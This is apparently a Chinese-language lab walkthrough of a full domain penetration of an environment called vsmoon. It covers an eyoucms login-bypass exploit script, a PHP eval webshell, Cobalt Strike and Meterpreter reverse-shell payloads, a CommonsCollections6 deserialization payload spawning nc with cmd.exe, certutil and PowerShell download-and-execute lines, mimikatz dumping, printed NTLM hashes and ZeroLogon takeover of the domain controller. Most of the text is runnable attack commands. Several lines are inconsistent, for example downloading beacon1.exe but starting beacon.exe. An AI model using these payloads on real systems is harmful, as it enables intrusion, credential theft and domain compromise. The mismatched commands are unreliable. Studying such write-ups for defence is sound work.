域渗透实战之 vsmoon
字数 1585 2025-08-24 07:48:22
域渗透实战之vsmoon - 详细教学文档
环境搭建
网络拓扑结构
-
Web服务器:
- 配置2个网卡:
- 网卡0: 192.168.0.116
- 网卡22: 192.168.22.152
- 配置2个网卡:
-
Data服务器:
- 配置2个网卡:
- 网卡22: 192.168.22.146
- 网卡10: 10.10.10.136
- 配置2个网卡:
-
AD域控服务器:
- 配置1个网卡:
- 网卡10: 10.10.10.137
- 配置1个网卡:
Web打点阶段
1. 网络连通性测试
首先测试与目标Web服务器的网络连通性:
ping 192.168.0.116
ping 192.168.22.152
2. 端口扫描
使用nmap进行端口探测:
nmap -sS -p- 192.168.0.116
nmap -sS -p- 192.168.22.152
3. 目录扫描
使用工具扫描网站存在的URL地址:
dirsearch -u http://192.168.0.116
发现后台管理地址。
Nday漏洞利用 - eyoucms任意用户登录
漏洞分析
漏洞位于:
application/api/controller/Ajax.php
关键代码:
public function get_token($name = '__token__') {
if (IS_AJAX) {
echo $this->request->token($name);
exit;
} else {
abort(404);
}
}
跟进$this->request->token在core/library/think/Request.php:
public function token($name = '__token__', $type = 'md5') {
$type = is_callable($type) ? $type : 'md5';
$token = call_user_func($type, $_SERVER['REQUEST_TIME_FLOAT']);
if ($this->isAjax()) {
header($name . ': ' . $token);
}
Session::set($name, $token);
return $token;
}
漏洞利用
- 构造请求获取token:
GET /application/api/controller/Ajax.php?name=admin_login_expire HTTP/1.1
Host: 192.168.0.116
X-Requested-With: XMLHttpRequest
-
获取到的token实际上是服务器时间戳的MD5值。
-
后台验证逻辑在
application/admin/controller/Base.php中,可以通过设置admin_login_expire的session来绕过验证。
漏洞复现
- 编写EXP获取用户cookie:
import requests
import hashlib
import time
url = "http://192.168.0.116/application/api/controller/Ajax.php"
headers = {"X-Requested-With": "XMLHttpRequest"}
# 获取token
r = requests.get(url, headers=headers, params={"name": "admin_login_expire"})
token = r.text
# 构造cookie
cookie = {
"admin_login_expire": token,
"admin_id": "1",
"admin_username": "admin"
}
# 使用cookie登录后台
session = requests.Session()
session.cookies.update(cookie)
response = session.get("http://192.168.0.116/admin")
- 替换cookie进行登录。
获取Webshell
- 在后台的
index.html文件中插入payload:
<?php @eval($_POST['cmd']);?>
- 使用蚁剑连接:
- 地址:
http://192.168.0.116/index.html - 密码:
cmd
成功获取webshell。
内网渗透
1. FRP内网穿透
- 上传frp客户端到Web服务器:
upload /path/to/frpc /tmp/frpc
- 配置frpc.ini:
[common]
server_addr = your_vps_ip
server_port = 7000
[web]
type = tcp
local_ip = 127.0.0.1
local_port = 80
remote_port = 8080
- 启动frp客户端:
chmod +x /tmp/frpc
/tmp/frpc -c /tmp/frpc.ini
2. 上线Cobalt Strike
- 使用CS生成木马:
攻击 -> 生成后门 -> Windows可执行文件
- 通过蚁剑上传并执行木马:
upload /path/to/beacon.exe /tmp/beacon.exe
shell /tmp/beacon.exe
3. 内网信息收集
- 获取用户hash:
hashdump
输出:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c51ba7c328cd01866885a37748816e07:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
- 确认主机不是域内主机,为双网卡主机,网段为0和22段。
4. 权限提升
使用CS的权限提升模块:
beacon> elevate uac-dll
5. 端口扫描
使用CS代理进行端口扫描:
beacon> portscan 192.168.22.146 1-65535
发现开放多个端口。
横向移动
1. 发现敏感文件
在桌面发现账号.txt和一个jar包,下载jar包到本地分析。
2. Java代码审计
-
使用jd-gui反编译jar包。
-
发现反序列化漏洞:
ObjectInputStream ois = new ObjectInputStream(this.socket.getInputStream());
Message ms = (Message)ois.readObject();
- 确认环境:
- Java版本: jdk1.8.0_65
- 存在commons-collections 3.2.1依赖
3. 利用CC链攻击
- 使用ysoserial生成CC6 payload:
java -jar ysoserial.jar CommonsCollections6 "cmd /c C:\phpstudy_pro\tmp\nc64.exe -nv 192.168.22.146 9999 -e cmd.exe" > cc66.ser
- 上传payload到目标:
upload cc66.ser C:\phpstudy_pro\tmp\cc66.ser
- 触发反序列化:
shell type C:\phpstudy_pro\tmp\cc66.ser | C:\phpstudy_pro\tmp\nc64.exe -nv 192.168.22.146 9999
- 成功获取data主机的shell。
4. Data主机上线CS
- 设置端口转发:
shell netsh interface portproxy add v4tov4 listenport=4455 connectaddress=1.xxx.xxx.40 connectport=4455
- 下载并执行beacon:
certutil -urlcache -split -f http://192.168.22.152/beacon1.exe beacon1.exe
start beacon1.exe
或使用PowerShell:
powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://192.168.22.152/beacon1.exe','beacon1.exe');start-process beacon.exe
- 确认data主机为双网段主机,10段为域内地址段。
域渗透
1. 域内信息收集
-
发现域名为
data.vsmoon.com。 -
使用mimikatz获取凭证:
mimikatz # sekurlsa::logonpasswords
2. MSF跨路由访问域控
- 生成后门:
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.0.128 lport=6666 -f exe > shell.exe
-
域控地址: 10.10.10.137
-
上传并执行shell.exe:
upload shell.exe C:\temp\shell.exe
shell C:\temp\shell.exe
- MSF开启监听:
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.0.128
set LPORT 6666
run
3. 搭建代理
- 设置路由:
meterpreter > run autoroute -s 10.10.10.0/24
- 使用socks代理:
use auxiliary/server/socks_proxy
set VERSION 4a
set SRVPORT 1080
run
4. ZeroLogon(CVE-2020-1472)提权域控
- 使用脚本进行域控密码置空:
python3 zerologon_tester.py DC_NAME 10.10.10.137
python3 cve-2020-1472-exploit.py DC_NAME 10.10.10.137
- 获取管理员hash:
mimikatz # lsadump::dcsync /domain:data.vsmoon.com /user:Administrator
输出:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:66120f7b66195b694faeabc4e3b6752d:::
- 使用wmiexec进行横向移动:
python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:66120f7b66195b694faeabc4e3b6752d Administrator@10.10.10.137
5. 恢复域控hash
- 导出sam数据库中原来的计算机hash:
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
- 恢复ntds.dit中的计算机hash并验证:
python3 reinstall_original_pw.py DC_NAME 10.10.10.137 <original-hash>
- 验证密码已更改回去。
总结
本渗透测试从Web打点开始,通过eyoucms的任意用户登录漏洞获取初始访问权限,然后通过上传webshell和frp内网穿透建立持久化通道。在内网中,通过反序列化漏洞横向移动到data主机,最终利用ZeroLogon漏洞获取域控权限,完成整个域渗透过程。